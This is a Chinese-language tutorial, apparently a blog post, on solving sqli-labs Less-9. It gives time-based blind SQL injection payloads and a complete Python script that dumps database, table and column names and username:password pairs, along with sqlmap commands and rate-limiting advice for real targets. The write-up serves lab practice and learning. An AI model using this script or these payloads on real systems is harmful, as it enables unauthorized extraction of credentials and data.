1. Less-9 到底考什么,为什么大家都会卡在这一关
sqli-labs 是很多安全测试入门的人绕不开的靶场,Less-9 又属于其中最磨人的一关。它的官方名字是”基于时间的盲注“,说白了就是页面不会给你任何回显,不管你输入什么,页面长得一模一样,既没有报错,也没有数据展示,你唯一能利用的通道就是“时间”——如果注入条件成立,数据库就多睡几秒;条件不成立,就立刻返回。这种差异非常微弱,手工去一次一次测太痛苦,所以自动化注入几乎是必经之路。
我最早接触 Less-9 时也觉得奇怪,明明 Less-8 是布尔盲注,靠页面是否出现“You are in”来判断真假,Less-9 怎么连这个都不给了?后来才反应过来,Less-9 设计的就是“时间盲注”,布尔条件在页面上完全不体现,只能靠延迟来猜。这个关卡非常贴近真实场景——现实系统里,开发者只要把错误信息全关掉,布尔差异也可能被抹平,但数据库执行 delay 造成的时间差很难完全隐藏。所以学会这一关的自动化注入方法,对你理解真实环境里的盲注利用非常有帮助。
这篇文章我按自己的实操路子来写,内容包括 Less-9 的环境特性、时间盲注的原理拆解、自动化脚本怎么设计和跑通、以及我在调试过程中踩到的一堆坑。无论你是刚过 Less-8 的初学者,还是已经在写自动化脚本的进阶玩家,应该都能从里面拿到点能直接用的东西。
2. 从手工注入到自动化,Less-9 的核心痛点拆解
2.1 页面零差异,手工判断效率太低
Less-9 的界面是一个登录框,后端拿到参数后拼进 SQL 查询,但无论你输入什么,页面都返回同一个静态内容。这意味着你没法像在 Less-1 那样看到 Union 注入的回显点,也没法像在 Less-8 那样根据页面差异判断真假。
我第一次手工测的时候,先试了单引号、双引号、括号组合,页面完全没变化。当时第一反应是”是不是根本没注入点“,但用时间负载一试就露馅了:
?id=1' and sleep(5)--等了五秒页面才返回,这证明单引号打破了 SQL 拼接逻辑,而且数据库真的执行了 sleep。之后再用 Burp 或浏览器一个个试条件,比如if(ascii(substr(database(),1,1))>100,sleep(3),0),每一条都要等三秒或立即返回,来回切换。如果想要确认一个数据库名的长度,可能需要跑几十次请求,如果网络再慢一点,整个人都会疯掉。这就是 Less-9 最核心的痛点:反馈通道极窄,人工操作的时间和耐心成本都太高。
2.2 为什么要自动化,自动化解决了什么
自动化的本质,是把“发请求→等延迟→判断真假→拼结果”这个循环交给程序执行。程序可以一次跑几十上百个请求,还能把拿到的 ASCII 码自动拼成字符串。手工要花半小时的活,脚本可能几十秒就完成了。
而且自动化不只是快,还稳定。人手工点的时候容易走神、看错时间、记错条件,脚本不会。你只需要定义好判断逻辑,剩下的交给它循环。Less-9 的自动化方法还能直接迁移到其他时间盲注场景,比如真实系统里某个参数存在 delay 注入,你拿这套脚本改一改 URL 就能用。所以不要把自动化理解成“偷懒”,它是盲注利用的必备技能。
2.3 自动化方法设计的整体思路
Less-9 自动化脚本的整体逻辑分四步:第一,确认注入点存在且是时间盲注;第二,用二分法或逐字符遍历法猜测数据库相关信息;第三,把每次猜到的字符拼接到结果变量里;第四,输出完整结果。核心算法其实不复杂,复杂的是请求构造、超时判断和异常处理。
请求构造上,最常用的负载模板是:
?id=1' and if(ascii(substr((select database()),1,1))>64,sleep(2),0)--程序把database()替换成要查询的目标表达式,把1,1替换成当前猜测的字符位置,把>64替换成二分法当前的中位值。如果响应时间大于等于 2 秒左右,就说明条件为真,否则为假。整个流程就是循环套循环,外层遍历字符位置,内层执行二分法。
3. 时间盲注的原理与自动化实现的关键细节
3.1 时间盲注执行链条,到底是谁在延迟
要写好自动化脚本,必须先把时间盲注的完整执行链条搞清楚。后端代码收到参数后,直接拼接进 SQL,典型语句大概是这样的:
SELECT ... FROM users WHERE id='$id' LIMIT 0,1;当你提交1' and if(condition,sleep(3),0)-- -,单引号闭合了原来的字符串,后面的and if(...)成为查询条件的一部分。数据库执行时,先判断 condition,如果为真,调用sleep(3)让整个查询挂起三秒;如果为假,不执行 sleep,查询立即返回。
脚本端的判断,就是拿“响应总耗时”做标尺。如果请求从发出到收到响应的时间明显大于正常值,判定条件成立;反之不成立。这里有个关键点:是数据库执行 sleep 造成延迟,不是网络抖动。所以自动化脚本里超时阈值要设置得比 sleep 参数略大,一般建议 sleep 设 3 秒,判定阈值设 2.5 秒,这样既不会误判,也不会让单次请求等太久。
3.2 二分法猜解的数学原理
时间盲注的效率关键在字符猜测策略。最笨的方法是遍历所有字符,比如 a-z、0-9,逐个=比较,一个字符最多要试 60 多次。而二分法每次把候选范围一分为二,一个 ASCII 字符的范围是 0-127,最多只要 7 次比较就能确定。
二分法的执行逻辑是:设置当前候选区间[low, high],取中值mid = (low+high)//2,然后测试ascii(substr(target, position, 1)) > mid。如果条件为真,说明字符的 ASCII 码落在[mid+1, high],收缩区间;如果为假,说明落在[low, mid]。如此往复,直到low == high,这个值就是字符的 ASCII 码。
拿数据库名的第一个字符举例,字符范围先设为 32 到 126,mid 是 79,测试>79,如果真,范围收缩到 [80,126],再取新 mid 继续,大约七轮就能定出结果。整个数据库名如果 15 个字符,则只需 105 次请求,时间盲注每次请求最坏 3 秒,总共 5 分钟左右。看起来还是有点慢,但手工已经没法比了。
3.3 自动化脚本里必须处理好的三个细节
第一个细节是 URL 编码。注入负载里的空格、单引号、括号、注释符,在 HTTP 请求里必须做 URL 编码。尤其空格在 URL 中会被解析成分隔符,直接放在 URL 里很可能被服务端或中间件截断。我一般用urllib.parse.quote对整体负载编码,或者手动把空格写成%20,把#写成%23。sqli-labs 环境对编码的兼容性还算好,但稳妥起见还是要编码。
第二个细节是超时判断和网络波动。即使数据库没有 sleep,网络本身也有毫秒级延迟,如果阈值设得太接近正常响应时间,很容易误判。我习惯在脚本里先测一次正常请求的耗时,然后设置阈值为正常耗时的 5 倍以上,再结合 sleep 参数,保证判断有足够余量。比如正常请求 0.1 秒,sleep(3) 的请求约 3.1 秒,完全分得开。
第三个细节是线程和请求频率。Less-9 是单点目标,局域网靶场处理能力有限,并发太高容易把服务打挂。我建议脚本内部保持单线程,或者最多两个线程。盲注本来就是一个字符一个字符猜,单个线程完全够用。真实渗透中被目标安全设备盯上的风险也要考虑,保持低频、平滑的请求节奏更稳妥。
4. 自动化注入脚本的完整实现与实测过程
4.1 环境准备
我写自动化脚本用的是 Python 3,依赖库只需要requests。开发机环境是 Windows 11,靶场跑在本地虚拟机上,IP 是http://127.0.0.1,也可以是其他地址,灵活替换即可。安装依赖只需要一行命令:
pip install requests如果电脑里同时有 Python 2 和 Python 3,注意用pip3安装,避免把包装错环境。为了确认目标存活和正常响应时间,我会先发一个最基本的请求:
curl "http://127.0.0.1/sqli-labs/Less-9/?id=1"正常情况下,响应的 HTML 里有一段固定文案,耗时几十毫秒。只要这个基线没问题,后续脚本就可以放心跑。
4.2 写一个基础版的时间盲注脚本
先写一个结构清楚、没有过度封装的版本。脚本分三个函数:get_response_time负责发请求并返回耗时,check_condition负责拼接 if 条件并判断真假,guess_char负责二分法猜测单字符。主程序遍历目标字符串长度,逐字符调用猜解函数。
import requests import time import string url = "http://127.0.0.1/sqli-labs/Less-9/" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } SLEEP_SEC = 3 TIMEOUT_SEC = 10 def get_response_time(payload): try: resp = requests.get(url, params={"id": payload}, headers=headers, timeout=TIMEOUT_SEC) return resp.elapsed.total_seconds() except requests.RequestException: return TIMEOUT_SEC def check_condition(condition): payload = f"1' and if({condition},sleep({SLEEP_SEC}),0)-- -" elapsed = get_response_time(payload) return elapsed >= SLEEP_SEC - 0.5 def guess_char(query, pos): low, high = 32, 126 while low < high: mid = (low + high) // 2 cond = f"ascii(substr(({query}),{pos},1))>{mid}" if check_condition(cond): low = mid + 1 else: high = mid return chr(low) def guess_length(query): for length in range(1, 64): cond = f"length(({query}))={length}" if check_condition(cond): return length return 0 def dump_string(query): length = guess_length(query) if length == 0: return "" result = "" for pos in range(1, length + 1): ch = guess_char(query, pos) result += ch print(f"[+] pos {pos}: {ch!r} -> {result}") return result if __name__ == "__main__": print("[*] dumping database name...") db_name = dump_string("select database()") print(f"[+] database: {db_name}")这段代码有几个细节值得说明。check_condition里我用了>= SLEEP_SEC - 0.5作为判断阈值,意思是如果响应时间超过 2.5 秒就视为条件成立。实际操作中数据库执行 sleep(3) 后,加上网络耗时,一般是 3.1 秒左右,明显超过阈值。而条件不成立时,响应时间一般在 0.1 秒以下,远低于阈值,所以非常可靠。
payload = f"1' and if({condition},sleep({SLEEP_SEC}),0)-- -"中的-- -是 SQL 注释符,后面多一个空格是为了防止某些数据库对注释符解析异常。sqli-labs 环境用的是 MySQL,--注释后必须跟空格,所以写成-- -是最稳的。
guess_length从 1 开始逐一遍历,直到找到真正的长度。这个函数响应很快,因为不成立时立即返回。如果目标字符串超过 64,就手动调大范围。
实测跑一遍数据库名,日志输出大概是这样的:
[*] dumping database name... [+] pos 1: 's' -> s [+] pos 2: 'e' -> se [+] pos 3: 'c' -> sec [+] pos 4: 'u' -> secu ... [+] pos 8: 'y' -> security [+] database: security整个过程大概用了 40 次请求,耗时约两分钟。如果你直接去跑这个脚本,需要把 URL 改成你本地靶场的实际地址。
4.3 用 sqlmap 做自动化验证
写脚本是学习原理,但实际工作中直接用现成工具更高效。sqlmap 对 sqli-labs Less-9 的支持很好,检测到时间盲注后会自动选择合适的注入 payload 和技巧。命令可以这样用:
sqlmap -u "http://127.0.0.1/sqli-labs/Less-9/?id=1" --dbs --batch --level 2 --risk 2这个命令里的参数含义是:-u指定注入目标 URL,--dbs枚举所有数据库名,--batch让它自动选择默认选项,--level 2提高检测强度,--risk 2允许使用 sleep 类的危险负载。因为时间盲注默认就可能触发 sleep,所以--risk 2在这里是必要的,如果只写默认 risk 1,很多负载不会启用。
sqlmap 跑时间盲注的速度也不慢,因为它内部自带优化,还有二分法和多线程。但 sqlmap 的特点是很“啰嗦”,启动时要检查一堆参数,输出信息也很多。如果只是想快速拿结果,用 sqlmap 准没错;如果想搞清楚每一步原理,还是自己写脚本收获大。
我个人习惯是:先在靶场里用自己写的脚本跑一遍,确认理解没偏差,再用 sqlmap 验证同一个目标的数据是否一致。两边数据一致,说明对 Less-9 的理解是到位的。
4.4 扩展自动化脚本,跑库名和表名
基础脚本只能跑数据库名,实际测试中还需要查表名、字段名、字段值。扩展方法完全一致,只要把query参数替换成对应的 SQL 表达式。
表名的查询语句是:
select group_concat(table_name) from information_schema.tables where table_schema=database()字段名是:
select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'字段值是:
select group_concat(username,0x3a,password) from users0x3a 是冒号的十六进制表示,用来在拼接结果里加分隔符,不然一堆字符串连在一起根本分不清边界。脚本不用改逻辑,只要在dump_string里传入这些长表达式即可。
跑表名时有个坑,group_concat的默认拼接长度有限制(group_concat_max_len),默认值通常是 1024 字节,如果表太多或者字段值太长,结果会被截断。解决方法是先在脚本里执行SELECT group_concat_max_len确认值,如果太小,可以改写 SQL 用limit 0,10分段查询,一次只取 10 条记录拼接。这个细节很容易被忽略,我第一次跑真实靶场时就被截断搞糊涂过,以为脚本写错了,排查半天才发现是长度限制。
5. 自动化过程中常见的坑与排查方法
5.1 响应慢到怀疑脚本卡住了
时间盲注自动化最尴尬的场景是跑着跑着长时间没有输出,看起来像死循环。实际上脚本可能卡在某个字符的二分法里,因为每次条件成立都要睡 3 秒,7 次二分最坏 21 秒,如果不打印中间状态,就会觉得它卡死了。我一开始就在guess_char里加了中间日志,每发一次请求都打印当前值,这样至少能确认脚本在推进。
如果怀疑真卡住了,最快的排查方式是加一个调试模式,在脚本开头设置DEBUG=True,然后在get_response_time里打印当前 URL 完整地址和耗时。这样一眼就能看出请求有没有发出去、响应时间是否符合预期。还有可能是本地靶场负载过高,或者虚拟机网络卡了,这时重启一下靶场服务就能解决。
5.2 超时阈值的坑,设置不对就全判错
超时阈值的设置直接影响判断准确率。我最初把SLEEP_SEC设成 2,判定阈值设成 1.5,结果局域网本身有 0.3 秒延迟,条件为假时耗时 0.35 秒,条件为真时 2.3 秒,还算能分开。但如果目标机器性能较差,数据库启动慢,正常请求都可能超过 1 秒,这时阈值必须同步放大。
建议的做法是:先测 5 次正常请求,取平均耗时 base_time,阈值设置为max(base_time * 5, SLEEP_SEC - 1)。这样无论目标网络快慢,都可以自适应。我在脚本里使用固定阈值只是为了让教学演示清楚,真实项目中建议写动态阈值。
5.3 字符集范围设置太小,结果全乱
二分法初始范围我设成 32 到 126,覆盖了常见的数字、字母和标点。如果目标字符串里含有中文,ASCII 范围就不够用了,因为中文字符在数据库里是多字节编码,substr 按字节截取时会拆出奇怪的字节值,你会在结果里看到一堆乱码。解决办法是不要用substr,改用substring配合字符集转换,或者把初始范围直接改成 1 到 255,对每个字节单独猜测再解码。后一种方法虽然请求次数多一倍,但通用性更强。
固定范围还有一个隐患:如果字符实际值低于 32 或者高于 126,二分法会在收缩到边界后强行收敛到边界值,导致结果错误。所以如果你不清楚目标 charset,优先把范围设宽。
5.4 URL 编码导致注入条件失效
脚本里我用了requests.get(url, params={"id": payload}),这个写法会让 requests 自动对 payload 做 URL 编码,所以不需要手动quote。但如果你直接拼完整的 URL 字符串,比如http://.../?id=1' and if(...,sleep(3),0)-- -,中间的空格和单引号都会出问题。常见现象是脚本发出去的请求被 WAF 或后端代码拦截,返回 404 或 500,然后脚本把所有条件都判为假。
如果自己拼 URL,一定要记得调用:
from urllib.parse import quote final_url = base_url + "?id=" + quote(payload)提前转义好空格、单引号、注释符,再发请求。年轻的时候我在这里吃过亏,写了一个手工拼接 URL 的版本,跑了一个多小时全是错误结果,最后发现是 URL 没编码。
5.5 数据量太大,跑得特别慢怎么办
如果目标数据库很大,比如要 dump 十几张表,每张表上千条记录,纯单线程时间盲注可能要跑好几天。这种场景下,优化方向有两个:一是提升查询效率,尽量用group_concat一把梭,减少请求次数;二是开启多线程,同时猜多个字符位置。
多线程的写法不复杂,Python 里用concurrent.futures.ThreadPoolExecutor,每个线程负责猜测一个固定位置的结果,最后汇总。但要注意总请求频率不能太高,目标靶场扛得住,真实目标可不一定。我一般最多开 3 个线程,每个线程之间 sleep 0.2 秒做缓冲,把请求速率控制在一秒几到十几之间。
而 sqlmap 自带的线程参数--threads也可以调节,默认是 1,官方文档不建议超过 10。不是不能多开,而是多开以后误报率和漏报率都会上升,所以要保持克制。
5.6 常见问题速查表
| 现象 | 可能原因 | 处理方法 |
|---|---|---|
| 所有条件都判假 | URL 未编码,请求被拦截 | 使用 params 传参或手动 quote |
| 脚本长时间无输出 | 没有打印中间状态 | 在 guess_char 里加逐字符日志 |
| 结果乱码 | 字符范围不含目标编码 | 扩大 ASCII 范围为 1-255 |
| 目标字符串被截断 | group_concat 长度限制 | 分段查询或用 limit |
| 响应时间不稳 | 虚拟机负载高或网络延迟 | 重启靶场,测基线耗时 |
| sqlmap 跑不出来 | level/risk 参数不足 | 加--level 3 --risk 3 |
6. 关于 Less-9 自动化注入的几点经验总结
sqli-labs Less-9 是我练盲注自动化练得最勤的一个关卡,因为它足够简单又足够典型。简单在于数据库结构固定、注入点清晰;典型在于它是纯粹的时间盲注,反馈维度只有时间,完全考验你对原理和脚本细节的把握。
我个人的体会是,写自动化脚本时不能只照着别人的模板套,必须把自己代入“真正在利用这个漏洞”的场景。你每发一个请求,心里都要清楚它是为了判断什么条件,为什么会 sleep,为什么这个响应时间能告诉你答案。当你把这条链路想明白了,再迁移到其他盲注场景就非常快。
另外,Less-9 过了之后,建议把 Less-10 也做一遍。Less-10 是双引号变种,结构几乎一样,只是闭合方式不同。把 Less-9 的脚本里闭合符从单引号换成双引号,就能直接打穿。这样一练,你对引号闭合的理解会更扎实,而不是只会抄固定的 payload。
还有一个小技巧是建议把脚本里所有 SQL 查询语句都做参数化,而不是反复拼接字符串。虽然靶场场景没有代码注入风险,但保持好习惯能避免以后写实际工具时犯低级错误。参数化的写法是用format或 f-string 统一生成 SQL 表达式,再把表达式嵌入 if 条件里,脚本结构会清晰很多。
关于工具和脚本的选择,我的态度始终是:新手期一定要手写脚本,写一遍胜过用一百遍工具。写脚本的过程,本质是在脑子里把时间盲注这种看似玄学的技巧翻译成可执行的逻辑。等你对每个环节都了如指掌了,再用 sqlmap 省时间完全不迟。我自己现在写工具时,遇到盲注目标,第一反应仍然是直接拉 sqlmap 跑,但要是 sqlmap 因为环境特殊跑不动,我随时能掏出自己那套基础脚本改一改来应急。这种底气只能从手写代码里来。